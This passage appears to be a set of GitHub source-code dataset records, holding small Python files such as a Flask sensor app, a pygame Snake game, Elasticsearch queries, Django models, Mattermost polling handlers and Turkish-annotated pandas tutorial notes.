checkTemperature(data[\"temperature\"])\n return render_template('index.html', temperature=data[\"temperature\"], humidity=data[\"humidity\"])\n\n\n@app.route('/tempsens/get_data_json', methods=[\"POST\"])\ndef get_data_json():\n data: dict = getInfo()\n return jsonify(data)\n\n\n@app.route('/tempsens/power_led', methods=[\"POST\"])\ndef power_led():\n powerOnLed()\n return jsonify(), 201\n\n\n@app.route('/tempsens/disable_led', methods=[\"POST\"])\ndef disable_led():\n powerOffLed()\n return jsonify(), 201\n\n\n@app.errorhandler(Exception)\ndef exception_handler(err):\n return {\"message\": str(err)}, 500\n\n\nif __name__ == \"__main__\":\n app.run(host=os.environ[\"DHT_IP\"], port=os.environ[\"DHT_PORT\"])\n","repo_name":"sgabriel190/rpi-temperature-django","sub_path":"flask_app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"33916646054","text":"import numpy as np\r\nimport random\r\nfrom perlin_noise import PerlinNoise\r\n\r\ndef array_builder(map_array, steps):\r\n temp_array = map_array\r\n for step in steps:\r\n temp_array=step[\"method\"](temp_array,**step[\"args\"])\r\n return temp_array\r\n\r\ndef sigmoid_(array,float=False):\r\n return 1 / (1+np.exp(-array))\r\n\r\ndef bias_(array,bias,float=False):\r\n return array+bias\r\n\r\ndef random_(array,probability,float=False):\r\n x = array\r\n for row in x:\r\n coords = np.random.randint(0,len(row),size=(int(len(row)*probability)))\r\n r = np.random.rand(*row.shape)\r\n row[coords] = r[coords]\r\n #print(row)\r\n return x\r\n\r\ndef perlin_(array,octaves,seed,object,bias=0,float=False):\r\n grid = array.shape\r\n perlin = PerlinNoise(octaves=octaves, seed=seed)\r\n temp = ([[perlin([_/grid[0], __/grid[1]]) for __ in range(grid[0])] for _ in range(grid[1])])\r\n temp = np.array(temp)+bias\r\n \r\n if float==False:\r\n temp = (np.rint(sigmoid_(temp))).astype(int)\r\n temp_w = np.where(temp==1)\r\n for x in range(len(temp_w[0])):\r\n array[temp_w[0][x]][temp_w[1][x]] = object\r\n else:\r\n array = array+temp\r\n return array\r\n\r\n","repo_name":"yagizbal/other-scripts","sub_path":"array_builder.py","file_name":"array_builder.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"28812171999","text":"\"\"\"Unit tests for the pip source.\"\"\"\n\nfrom tests.source_collectors.source_collector_test_case import SourceCollectorTestCase\n\n\nclass PipDependenciesTest(SourceCollectorTestCase):\n \"\"\"Unit tests for the dependencies metric.\"\"\"\n\n async def test_dependencies(self):\n \"\"\"Test that the number of dependencies is returned.\"\"\"\n pip_json = [\n {\"name\": \"gitdb2\", \"version\": \"2.0.6\", \"latest_version\": \"4.0.2\", \"latest_filetype\": \"wheel\"},\n {\"name\": \"pip\", \"version\": \"20.1\", \"latest_version\": \"20.1.1\", \"latest_filetype\": \"wheel\"}]\n expected_entities = [\n dict(key=\"gitdb2@2_0_6\", name=\"gitdb2\", version=\"2.0.6\", latest=\"4.0.2\"),\n dict(key=\"pip@20_1\", name=\"pip\", version=\"20.1\", latest=\"20.1.1\")]\n sources = dict(source_id=dict(type=\"pip\", parameters=dict(url=\"pip.json\")))\n metric = dict(type=\"dependencies\", sources=sources, addition=\"sum\")\n response = await self.collect(metric, get_request_json_return_value=pip_json)\n self.assert_measurement(response, value=\"2\", total=\"100\", entities=expected_entities)\n","repo_name":"Gamer1120/quality-time","sub_path":"components/collector/tests/source_collectors/file_source_collectors/test_pip.py","file_name":"test_pip.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"60"} +{"seq_id":"23917270454","text":"from data import Factory\nfrom elastic.connection import Connection\nfrom elasticsearch import Elasticsearch\nfrom elasticsearch_dsl import Search, A\n\n\nclass Retrieve:\n __connection: Connection\n\n def __init__(self, connection: Connection):\n self.__connection = connection\n\n @property\n def elastic(self) -> Elasticsearch:\n return self.__connection.get()\n\n @property\n def index(self) -> str:\n return self.__connection.index\n\n def all_ids(self):\n s = Search(using=self.elastic, index=self.index)\n for entry in s.scan():\n yield entry.meta.id\n\n def get_by_id(self, _id: str):\n result = self.elastic.get(index=self.index, id=_id)\n # note: can add _source_includes=['path', 'name'] to restrict the result set\n return result['_source']\n\n def get_by_checksum(self, checksum: str):\n s = Search(using=self.elastic, index=self.index).filter('term', checksum=checksum)\n result = s.execute()\n for e in result.hits:\n yield Factory.from_elastic_entry(e)\n\n def all_entries(self, directory_filter: str = None):\n s = Search(using=self.elastic, index=self.index)\n if directory_filter is not None:\n s = s.filter('match_phrase', path=directory_filter)\n for entry in s.scan():\n yield entry\n\n def all_paths(self):\n \"\"\"\n Generator that just iterates through all paths in index.\n \"\"\"\n # Elastic will partition the aggregation result automatically into 20 parts in our case.\n # The size parameter just has to be large enough to hold a single partition, but\n # when called, it will just hold 1/20th of the total result set, so far less usually.\n #\n # The 'yield' construct makes this method into a generator, to be used as an iterator\n # in a loop, to retrieve each result individually. It will jump to the next partition\n # automatically when the current one was exhausted.\n #\n\n i = 0\n partitions = 20\n while i < partitions:\n s = Search(using=self.elastic, index=self.index).extra(size=0)\n path_aggregation = A('terms', field='path.keyword', size=999999,\n include={\"partition\": i, \"num_partitions\": partitions})\n s.aggs.bucket('paths', path_aggregation)\n result = s.execute()\n for path in result.aggregations.paths.buckets:\n yield path.key\n i = i + 1\n\n def on_nas_but_not_on_dropbox(self, limit: int = 0):\n s = Search.from_dict({\n \"query\": {\n \"bool\": {\n \"must_not\": {\"exists\": {\"field\": \"dropbox\"}},\n \"filter\": {\"term\": {\"nas\": \"true\"}}\n }\n }\n })\n s = s.using(self.elastic).index(self.index)\n if limit:\n s = s[:limit]\n result = s.execute()\n for e in result.hits:\n yield Factory.from_elastic_entry(e)\n\n def on_dropbox_but_not_on_nas(self, limit: int = 0):\n s = Search.from_dict({\n \"query\": {\n \"bool\": {\n \"must_not\": {\"exists\": {\"field\": \"nas\"}},\n \"filter\": {\"term\": {\"dropbox\": \"true\"}}\n }\n }\n })\n s = s.using(self.elastic).index(self.index)\n if limit:\n s = s[:limit]\n result = s.execute()\n for e in result.hits:\n yield Factory.from_elastic_entry(e)\n","repo_name":"pkunszt/image-catalog","sub_path":"elastic/retrieve.py","file_name":"retrieve.py","file_ext":"py","file_size_in_byte":3543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"74379128191","text":"import pygame\r\nfrom pygame.locals import *\r\nimport random\r\n\r\npygame.init()\r\n\r\n\r\n#blank game window\r\nscreen_width = 600\r\nscreen_height = 600\r\n\r\n#window\r\nscreen = pygame.display.set_mode((screen_width, screen_height))\r\npygame.display.set_caption('Snake Game')\r\n\r\n# varibles\r\ncell_size = 10\r\ndirection = 1\r\nupdate_snake = 0\r\nfood = [0,0]\r\nnew_food = True\r\nnew_piece = [0, 0]\r\nscore = 0\r\ngame_over = False\r\nclicked = False\r\n\r\nfont = pygame.font.SysFont(None, 40)\r\n\r\n#colors\r\nbackground = (255, 200, 175)\r\nbody_inside = (50, 175, 25)\r\nbody_outside = (100, 200, 200)\r\nred = (255, 0, 0)\r\nblue = (0, 0, 255)\r\nfood_color = (255, 50, 50)\r\n\r\n#snake\r\nsnake_position = [[int(screen_width / 2), int(screen_height / 2)]]\r\nsnake_position.append([int(screen_width / 2), int(screen_height / 2) + cell_size])\r\nsnake_position.append([int(screen_width / 2), int(screen_height / 2) + cell_size* 2])\r\nsnake_position.append([int(screen_width / 2), int(screen_height / 2) + cell_size * 3])\r\n\r\n#play again square\r\nagain_rect = Rect(screen_width // 2 -80, screen_height // 2, 160, 50)\r\n\r\n#functions\r\ndef draw_screen():\r\n screen.fill(background)\r\n\r\ndef draw_score():\r\n score_text = 'Score: ' + str(score)\r\n score_img = font.render(score_text, True, blue)\r\n screen.blit(score_img, (0,0))\r\n\r\ndef check_gameover(game_over):\r\n #eaten self\r\n head_count = 0\r\n for segment in snake_position:\r\n if snake_position[0] == segment and head_count > 0:\r\n game_over = True\r\n head_count += 1\r\n\r\n #out of bounds\r\n if snake_position[0][0] < 0 or snake_position[0][0] > screen_width or snake_position[0][1] < 0 or snake_position[0][1] > screen_height:\r\n game_over = True\r\n\r\n return game_over\r\n\r\ndef draw_gameover():\r\n over_text = 'Game Over!'\r\n over_image = font.render(over_text, True, blue)\r\n pygame.draw.rect(screen, red, (screen_width // 2 - 80, screen_height // 2 - 60, 160, 50))\r\n screen.blit(over_image, (screen_width // 2 - 80, screen_height // 2 - 50))\r\n\r\n again_text = 'Play Again?'\r\n again_image = font.render(again_text, True, blue)\r\n pygame.draw.rect(screen, red, again_rect)\r\n screen.blit(again_image,(screen_width // 2 - 80, screen_height // 2 +10))\r\n\r\nrun = True\r\nwhile run:\r\n\r\n draw_screen()\r\n draw_score()\r\n\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n run = False\r\n elif event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_UP and direction != 3:\r\n direction = 1\r\n if event.key == pygame.K_RIGHT and direction != 4:\r\n direction = 2\r\n if event.key == pygame.K_DOWN and direction != 1:\r\n direction = 3\r\n if event.key == pygame.K_LEFT and direction != 2:\r\n direction = 4\r\n\r\n #make food\r\n if new_food == True:\r\n new_food = False\r\n food[0]= cell_size * random.randint(0, (screen_width / cell_size) - 1)\r\n food[1]= cell_size * random.randint(0, (screen_height / cell_size) - 1)\r\n \r\n #draw food\r\n pygame.draw.rect(screen, food_color, (food[0], food[1], cell_size, cell_size))\r\n \r\n #if food eaten\r\n if snake_position[0] == food:\r\n new_food = True\r\n # add to tail\r\n new_piece = list(snake_position[-1])\r\n if direction == 1:\r\n new_piece[1] += cell_size\r\n if direction == 3:\r\n new_piece[1] -= cell_size\r\n if direction == 2:\r\n new_piece[0] -= cell_size\r\n if direction == 4:\r\n new_piece[0] += cell_size\r\n \r\n #add to snake\r\n snake_position.append(new_piece)\r\n #increase score\r\n score += 1\r\n\r\n\r\n if game_over == False:\r\n if update_snake > 99:\r\n update_snake = 0\r\n snake_position = snake_position[-1:] + snake_position[:-1]\r\n #start heading up\r\n if direction == 1:\r\n snake_position[0][0] = snake_position[1][0]\r\n snake_position[0][1] = snake_position[1][1] - cell_size\r\n if direction == 3:\r\n snake_position[0][0] = snake_position[1][0]\r\n snake_position[0][1] = snake_position[1][1] + cell_size\r\n if direction == 2:\r\n snake_position[0][1] = snake_position[1][1]\r\n snake_position[0][0] = snake_position[1][0] + cell_size\r\n if direction == 4:\r\n snake_position[0][1] = snake_position[1][1]\r\n snake_position[0][0] = snake_position[1][0] - cell_size\r\n game_over = check_gameover(game_over)\r\n\r\n\r\n if game_over == True:\r\n draw_gameover()\r\n if event.type == pygame.MOUSEBUTTONDOWN and clicked == False:\r\n clicked = True\r\n if event.type == pygame.MOUSEBUTTONUP and clicked == True:\r\n clicked = False\r\n\t\t\t#reset variables\r\n game_over = False\r\n update_snake = 0\r\n food = [0, 0]\r\n new_food = True\r\n new_piece = [0, 0]\r\n #define snake variables\r\n snake_position = [[int(screen_width / 2), int(screen_height / 2)]]\r\n snake_position.append([int(screen_width / 2), int(screen_height / 2) + cell_size])\r\n snake_position.append([int(screen_width / 2), int(screen_height / 2) + cell_size* 2])\r\n snake_position.append([int(screen_width / 2), int(screen_height / 2) + cell_size * 3])\r\n direction = 1 #1 is up, 2 is right, 3 is down, 4 is left\r\n score = 0\r\n\r\n head = 1\r\n for x in snake_position:\r\n if head == 0:\r\n pygame.draw.rect(screen, body_outside, (x[0], x[1], cell_size, cell_size))\r\n pygame.draw.rect(screen, body_inside, (x[0] + 1, x[1] + 1, cell_size - 2, cell_size - 2))\r\n if head == 1:\r\n pygame.draw.rect(screen, body_outside, (x[0], x[1], cell_size, cell_size))\r\n pygame.draw.rect(screen, red, (x[0] + 1, x[1] + 1, cell_size - 2, cell_size - 2))\r\n head = 0\r\n\r\n pygame.display.update()\r\n\r\n update_snake += 1\r\n\r\npygame.quit()\r\n\r\n","repo_name":"TylerWelch/Games","sub_path":"SnakeGame.py","file_name":"SnakeGame.py","file_ext":"py","file_size_in_byte":6074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"19505118912","text":"import os, sys, unittest\n\nesto = os.path.dirname(os.path.abspath(__file__))\nsys.path.insert(0, esto + '/../')\n\nfrom plaza import plaza\n\nclass TestPlaza( unittest.TestCase ):\n\n def test_should_create_object_OK(self):\n una_plaza = plaza( \"C/ Pez\", None, 1, None, None, None )\n self.assertIsInstance(una_plaza, plaza, \"Creada correctamente\" )\n","repo_name":"kcobos/openPlazasPMR","sub_path":"test/test_plaza.py","file_name":"test_plaza.py","file_ext":"py","file_size_in_byte":357,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"} +{"seq_id":"5370828575","text":"\n##############################\n# Pandas Series\n##############################\n\nimport pandas as pd\n\ns = pd.Series([10, 77, 12, 4, 5])\ntype(s)\n\ns.index\ns.dtype\ns.size\ns.ndim\ns.values\ntype(s.values) # sonuna values yazdık ve indexle ilgilenmediğimizi belirttiğimiz için numpy array olarak döndürdü dikkat\ns.head() # ilk 5 veriyi verir içine farklı rakamlar yazılabilir\ns.tail(3) # Sondan başlayarak veri verir\n\n##############################\n# Veri Okuma (reading data)\n##############################\nimport pandas as pd\n\n# örneğin dış bir dosyayı okumak istiyorsak (csv, excel, html her türden olabilir) aşağıdaki gibi read ile yapılır. Diğer türler için pd üzerine gelip ctrl click yap aramaya read yaz\npd.read_csv(\"\")\n\n##############################\n# Veriye Hızlı Bakış (Quick Look at Data)\n##############################\nimport pandas as pd\nimport seaborn as sns\n\ndf = sns.load_dataset(\"titanic\")\ndf.head()\ndf.shape\ndf.info()\ndf.columns\ndf.index\ndf.describe().T # sondaki .T Transpozunu al demektir\ndf.isnull().values.any() # df değerlerinde hiç eksiklik var mı\ndf.isnull().sum()\ndf[\"sex\"].head()\ndf[\"sex\"].value_counts()\n\n##############################\n# Pandas seçim işlemleri (selection in Pandas) önemli!!!!\n##############################\n\nimport pandas as pd\nimport seaborn as sns\n\ndf = sns.load_dataset(\"titanic\")\ndf.head()\n\ndf[0:13]\ndf.drop(0, axis=0).head() #satırlardan 0. indexi sil\n\n# fazla index seçimi yapmak için\n\ndelete_indexes = [1, 2, 3, 4]\ndf.drop(delete_indexes, axis=0).head(10)\n#!! şuan atamadığımız için değişiklik kalıcı değil\n# 1. yöntem\ndf = df.drop(delete_indexes, axis=0)\n# 2. yöntem\ndf.drop(delete_indexes, axis=0, inplace=True) #önemli bir çok metodla inplace kullanılabilir\n\n\n##############################\n# Değişkeni Indexe çevirmek\n##############################\n\ndf[\"age\"].head()\ndf.age.head()\ndf.index\ndf.index = df[\"age\"]\ndf.drop(\"age\",axis=1, inplace=True) # age artık bir index olarak eklendiği için değişkenlerden silebiliriz ve satıra ekledik sütundan silmeliyiz o yüzden axix=1 olmalı\n\n\n\n##############################\n# indexi değişkene çevirmek\n##############################\n#1.yol\ndf.index\ndf[\"age\"] = df.index\ndf.head()\ndf.drop(\"age\",axis=1, inplace=True) # tekrar sildik 2. yolu denicez\n\n# 2. yol\n\ndf.reset_index().head() # indexte yer alan değeri sildi ve değişken olarak bir sütuna ekledi\ndf = df.reset_index()\n\n##############################\n# Değişkenler Üzerinde İşlemler\n##############################\nimport pandas as pd\nimport seaborn as sns\n\npd.set_option(\"display.max_columns\", None) # 3 nokta olan yerleri tam gösterir noktaları kaldırır\ndf = sns.load_dataset(\"titanic\")\ndf.head()\n\n#... değişkeni dataframe içinde var mı yazımları\n\"age\" in df\ndf[\"age\"].head()\ndf.age.head()\n\n## çok önemli not\ntype(df[\"age\"].head())\n#typeına bakınca pandas serisi olduğunu gördük ama bunun dataframe olarak kalmasını istersek çift köşeli parantez kullanırız\n\ntype(df[[\"age\"]].head())\n\ndf[[\"age\", \"alive\"]]\n\ncol_names = [\"age\",\"adult_male\", \"alive\"]\ndf[col_names]\n\n# değişken ekleme\n\ndf[\"age2\"] = df[\"age\"]**2\n# bir değişken daha ekleyelim\n\ndf[\"age3\"] = df[\"age\"] / df[\"age2\"]\n\n# Değişken silme\n\ndf.drop(\"age3\", axis=1).head() # head kullanıldığında sadece silinmiş gibi ekrana bastırılır ama bunu kaydetmek için head silinip axisten sonra inplace = True yazılmalı\n\n# ÖNEMLİ / Belirli bir seçime göre seçme silme işlemi yapılmak isteniyorsa\n\ndf.loc[:, df.columns.str.contains(\"age\")].head() # :, ifadesi tüm satırları seç demektir\n# yazdırdığımızda içerisinde age geçen tüm değişkenleri buldu.\ndf.loc[:, ~df.columns.str.contains(\"age\")].head() # \"age\" içermeyenleri yazdır anlamına gelir\n\n\n##############################\n# iloc & loc (integer based selection & label based selection)\n##############################\n\n\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\npd.set_option(\"display.max_columns\", None)\ndf = sns.load_dataset(\"titanic\")\ndf.head()\nsns.countplot(x=\"class\", data=df)\nplt.show(block=True)\n\n# iloc: integer based selection(index bazlı çalışır)\ndf.iloc[0: 3] # sıfırdan 3. indexe kadar olan verileri alır\n\ndf.iloc[0, 0] # matriks olarak 0,0 ı aldı\n\n# loc: label based selection\n\ndf.loc[0:3] # bu 3. indexi de aldı çünkü etiket olarak gördüğü 3ü de alır\n\ndf.iloc[0:3, 0:3]\n\ndf.loc[0:3, \"age\"]\n\ncol_names = [\"age\", \"embarked\", \"alive\"]\ndf.loc[0:3, col_names] # fancy\n\n##############################\n# Koşullu Seçim (conditional Selection)\n##############################\n\nimport pandas as pd\nimport seaborn as sns\n\npd.set_option(\"display.max_columns\", None)\ndf = sns.load_dataset(\"titanic\")\ndf.head()\n\ndf[\"sex\"].describe()\n\ndf[df[\"age\"] > 50].head()\ndf[df[\"age\"] > 50].count() # hepsine count attı\ndf[df[\"age\"] > 50][\"age\"].count() # böyle yapınca sadece yaşı 50den büyük olan kaç kişi var onu öğrendik,\n\ndf.loc[df[\"age\"] > 50, [\"age\",\"class\"]].head()\ndf.loc[(df[\"age\"] > 50) & (df[\"sex\"] == \"male\"), [\"age\",\"class\"]].head()# çift koşul yaşı 50 den büyük olanlar ve erkek olanları seçer\ndf.loc[(df[\"age\"] > 50)\n & (df[\"sex\"] == \"male\")\n & (df[\"embark_town\"] == \"Cherbourg\"),\n [\"age\",\"class\",\"embark_town\"]].head()\n\ndf[\"embark_town\"].value_counts()\n#sadece southampton ve cherbourg olanları seç\ndf.loc[(df[\"age\"] > 50)\n & (df[\"sex\"] == \"male\")\n & ((df[\"embark_town\"] == \"Cherbourg\") | (df[\"embark_town\"] == \"Southampton\")),\n [\"age\",\"class\",\"embark_town\"]].head()\n\n\n##############################\n# Toplulaştırma ve Gruplama (Aggregation & Grouping)\n##############################\n# count()\n# first()\n# last()\n# mean()\n# median()\n# min()\n# max()\n# std()\n# var()\n# sum()\n# pivot table\n\nimport pandas as pd\nimport seaborn as sns\n\npd.set_option(\"display.max_columns\", None)\ndf = sns.load_dataset(\"titanic\")\ndf.head()\n\ndf[\"age\"].mean() # yaş ortalaması\n\ndf.groupby(\"sex\")[\"age\"].mean()# df data frameini cinsiyete göre grupla ve yaş ortalamasını al anlamına gelir\n\ndf.groupby(\"sex\").agg({\"age\": \"mean\"}) # bir üstteki amaçla aynı ama daha çok tercih edilmeli\ndf.groupby(\"sex\").agg({\"age\":[\"mean\", \"sum\"]})\n\ndf.groupby(\"sex\").agg({\"age\": [\"mean\",\"sum\"],\n \"survived\": \"mean\"})\n# survivedin ortalamasını aldık female 0.7 olduğu için kadınların %70 i hayattadır diyebiliriz\n\ndf.groupby([\"sex\", \"embark_town\", \"class\"]).agg({\"age\": [\"mean\"],\n \"survived\": \"mean\"})\n\ndf.groupby([\"sex\", \"embark_town\", \"class\"]).agg({\n \"age\": [\"mean\"],\n \"survived\": \"mean\",\n \"sex\": \"count\"})\n\n\n\n\n##############################\n# Pivot Table\n##############################\n# groupby a benzer\n\nimport pandas as pd\nimport seaborn as sns\n\npd.set_option(\"display.max_columns\", None)\ndf = sns.load_dataset(\"titanic\")\ndf.head()\n\ndf.pivot_table(\"survived\",\"sex\",\"embarked\") # ilki değerler, 2. satır başlıkları 3. sütun başlıkları\ndf.pivot_table(\"survived\",\"sex\",\"embarked\", aggfunc=\"std\") # bir öncekinde değerleri mean olarak aldı burda standart sapma almasını belirttik\n\ndf.pivot_table(\"survived\",\"sex\", [\"embarked\", \"class\"])# satırlar tek index sütun başlıkları 2 indexli olmuş oldu\n\ndf[\"new_age\"] = pd.cut(df[\"age\"],[0, 10, 18, 25, 40, 90]) # sayısal bir değişkeni kategorik bir değişkene çevirmek için kullanılır örn yaş: 0-10 arası çocuk diye ayırabilecek kadar tanıyorsan yaş değişkenini,cut kullan ama değişken hakkında bilgib yoksa qcut kullan çeyrek olarak ayırır( neyi böleceğimi ver, nerelerden böleceğimi ver )\n\ndf.pivot_table(\"survived\", \"sex\",\"new_age\")\ndf.pivot_table(\"survived\", \"sex\",[\"new_age\",\"class\"])\n#son kod çıktısında satır sonunda bulunan ters slash çıktının alttan devam ettiğini söyler. Eğer çıktıyı yan yana istersek alttaki kodu yaz\n\npd.set_option('display.width',500)\n\n\n##############################\n# Apply ve Lambda\n##############################\n# apply ile satır yada sütunlarda otomatik olarak fonksiyon çalıştırmaya yarar\n\nimport pandas as pd\nimport seaborn as sns\n\npd.set_option(\"display.max_columns\", None)\ndf = sns.load_dataset(\"titanic\")\ndf.head()\n\ndf[\"age2\"] = df[\"age\"]*2\ndf[\"age3\"] = df[\"age\"]*5\n\n# değişkenler üzerinde işlemler yapmak istediğimizi varsayalım\n(df[\"age\"]/10).head()\n(df[\"age2\"]/10).head()\n\nfor col in df.columns:\n if \"age\" in col:\n print(col)\n\nfor col in df.columns:\n if \"age\" in col:\n df[col] = df[col] / 10\n\ndf.head()\n# for ile yapmak uzun yoldu şimdi apply ile yapalım\ndf[[\"age\", \"age2\", \"age3\"]].apply(lambda x: x / 10).head()\n\n# ya da\ndf.loc[:,df.columns.str.contains(\"age\")].apply(lambda x: x / 10).head()\n\n# apply ile def fonksiyonu da kullanılabilir sadece lambda değil\n\n#kaydetmedik kaydedelim\n\ndf.loc[:, df.columns.str.contains(\"age\")] = df.loc[:,df.columns.str.contains(\"age\")].apply(lambda x: x / 10)\ndf.head()\n\n\n\n##############################\n# Birleştirme (join) işlemleri\n##############################\n\nimport pandas as pd\nimport numpy as np\n\nm = np.random.randint(1, 30, size=(5, 3))\ndf1 = pd.DataFrame(m, columns=[\"var1\", \"var2\", \"var3\"])\ndf2 = df1 + 99\n# iki adet dataframe oluşturduk\n\npd.concat([df1, df2])\n# bir üstteki işlemde indexler sıfırlanıp tekrar arttı bunun için;\npd.concat([df1, df2],ignore_index=True)\n# axise default olarak 0 atandığı için alt alta birleştirme yapar\n\n\n##############################\n# Merge ile Birleştirme\n##############################\n\ndf1= pd.DataFrame({\"employees\": [\"john\", \"dennis\", \"mark\", \"maria\"],\n \"group\": [\"accounting\", \"engineering\", \"engineering\", \"hr\"]})\n\ndf2= pd.DataFrame({\"employees\": [\"john\", \"dennis\", \"mark\", \"maria\"],\n \"start_date\": [2010, 2009, 2014, 2019]})\n\npd.merge(df1, df2)\n# direkt employeese göre yaptı ama belirtmek istersek\npd.merge(df1, df2, on=\"employees\")\n\n\n# Amaç her çalışanın müdür bilgisine ulaşmak istiyoruz\ndf3 = pd.merge(df1, df2)\n\ndf4 = pd.DataFrame({\"manager\": [\"caner\", \"mustafa\", \"berkcan\"],\n \"group\": [\"accounting\", \"engineering\", \"hr\"]})\npd.merge(df3, df4) # farklı iki dataframe birleştirildi groupa göre yaptı bunu çünkü ortak olan o","repo_name":"atamantoprak/Miuul-Machine-Learning-Summer-Bootcamp","sub_path":"data-analysis-with-python/pandaslib.py","file_name":"pandaslib.py","file_ext":"py","file_size_in_byte":10278,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"15462551875","text":"# -*- coding: utf-8 -*-\n\"\"\"\n解く前のメモ\n\n8新法の数字を9新法にして、8を5に描き直す\n最後に出てくるKを8新法で出力する\nKが100,Nが20桁くらいなので操作はできそう\n折角ライブラリがあるから使おうスタイル\n\"\"\"\nfrom numpy import base_repr\n\nN, K = list(map(int, input().split()))\n\ncur = int(str(N), 8)\nfor i in range(K):\n nine_base = base_repr(cur, 9)\n replaced = nine_base.replace('8', '5', len(nine_base))\n if i != K-1:\n cur = int(replaced, 8)\n else:\n cur = int(replaced)\nprint(cur)\n","repo_name":"bun913/atcoder_python","sub_path":"typical90/067/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"15670160860","text":"from typing import Tuple\nfrom django import db\nfrom django.db import models\nfrom user_management.models import Users\n\n# Create your models here.\nclass WorkflowBoard(models.Model):\n board_id = models.AutoField(primary_key=True)\n board_name = models.CharField(max_length=100, null=False)\n board_description = models.CharField(max_length=254)\n updated_on = models.DateTimeField(null=False, auto_now=True)\n user = models.ForeignKey(Users, on_delete=models.CASCADE, related_name='board')\n\n class Meta:\n db_table = 'project_board'\n\nclass BoardList(models.Model):\n list_id = models.AutoField(primary_key=True)\n list_name = models.CharField(max_length=45, null=False)\n updated_on = models.DateTimeField(null=False, auto_now=True)\n board = models.ForeignKey(WorkflowBoard, on_delete=models.CASCADE, related_name='board_list')\n\n class Meta:\n db_table = 'project_board_list'\n\nclass Card(models.Model):\n card_id = models.AutoField(primary_key=True)\n card_name = models.CharField(max_length=100, null=False)\n card_description = models.CharField(max_length=254)\n updated_on = models.DateTimeField(null=False, auto_now=True)\n due_date = models.DateField(null=True)\n board_list = models.ForeignKey(BoardList, on_delete=models.CASCADE, related_name='card')\n priority = models.IntegerField(default=0)\n class Meta:\n db_table = 'project_list_card'\n\nclass Attachments(models.Model):\n attachment_id = models.AutoField(primary_key=True)\n attachment_ref = models.TextField(default=None)\n card = models.ForeignKey(Card, on_delete=models.CASCADE, related_name='attachment')\n class Meta:\n db_table = 'card_attachment'","repo_name":"sleepy0owl/project_management_backend","sub_path":"workflow/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"2359373575","text":"import base64\nimport boto3\nimport json\nimport os\nimport urlparse\n\n\ndef slash_command(event, context):\n print(json.dumps(event))\n\n data = urlparse.parse_qs(event['body'])\n if data.get('text', [''])[0] == '':\n return {\n 'statusCode': '200',\n 'headers': {\n 'Content-Type': 'application/json',\n },\n 'body': json.dumps({\n 'response_type': 'ephemeral',\n 'text': 'Please provide a prompt.',\n }),\n }\n\n poll_id = base64.b64encode(os.urandom(32))\n prompt = data['text'][0]\n\n api_url = event['headers']['X-Forwarded-Proto'] + '://' + event['headers']['Host'] + '/' + event['requestContext']['stage']\n\n return {\n 'statusCode': '200',\n 'headers': {\n 'Content-Type': 'application/json',\n },\n 'body': json.dumps({\n 'response_type': 'in_channel',\n 'attachments': [{\n 'text': prompt,\n 'actions': [{\n 'name': 'Vote Yes',\n 'integration': {\n 'url': api_url + '/vote',\n 'context': {\n 'poll_id': poll_id,\n 'vote': 'Yes'\n }\n }\n }, {\n 'name': 'Vote No',\n 'integration': {\n 'url': api_url + '/vote',\n 'context': {\n 'poll_id': poll_id,\n 'vote': 'No'\n }\n }\n }, {\n 'name': 'End Poll',\n 'integration': {\n 'url': api_url + '/end-poll',\n 'context': {\n 'poll_id': poll_id,\n 'prompt': prompt,\n }\n }\n }]\n }]\n }),\n }\n\n\ndef vote_action(event, context):\n print(json.dumps(event))\n\n data = json.loads(event['body'])\n\n db = boto3.client('dynamodb')\n\n result = db.put_item(\n TableName=os.environ['VOTES_TABLE'],\n Item={\n 'PollId': {\n 'S': data['context']['poll_id'],\n },\n 'UserId': {\n 'S': data['user_id'],\n },\n 'Vote': {\n 'S': data['context']['vote'],\n },\n },\n ReturnValues='ALL_OLD',\n )\n\n return {\n 'statusCode': '200',\n 'headers': {\n 'Content-Type': 'application/json',\n },\n 'body': json.dumps({\n 'ephemeral_text': 'Your vote has been updated.' if result.get('Attributes') else 'Thanks for your vote!',\n }),\n }\n\n\ndef end_poll_action(event, context):\n print(json.dumps(event))\n\n data = json.loads(event['body'])\n\n db = boto3.client('dynamodb')\n\n counts = {vote: db.query(\n TableName=os.environ['VOTES_TABLE'],\n KeyConditionExpression='PollId = :pid',\n FilterExpression='Vote = :vote',\n ExpressionAttributeValues={\n ':pid': {\n 'S': data['context']['poll_id'],\n },\n ':vote': {\n 'S': vote,\n },\n },\n Select='COUNT',\n )['Count'] for vote in ['Yes', 'No']}\n total = sum(counts.values())\n\n return {\n 'statusCode': '200',\n 'headers': {\n 'Content-Type': 'application/json',\n },\n 'body': json.dumps({\n 'update': {\n 'props': {\n 'attachments': [{\n 'text': data['context']['prompt'],\n 'fields': [{\n 'short': True,\n 'title': vote,\n 'value': '{} ({:.2f}%)'.format(count, count / total * 100),\n } for vote, count in counts.items()],\n }],\n },\n },\n }),\n }\n","repo_name":"mattermost/mattermost-interactive-post-demo","sub_path":"polling.py","file_name":"polling.py","file_ext":"py","file_size_in_byte":4075,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"60"} +{"seq_id":"11742252360","text":"from __future__ import (division as _py3_division,\n print_function as _py3_print,\n absolute_import as _py3_abs_import)\n\nfrom xoeuf import models, fields, api\n\n\nclass 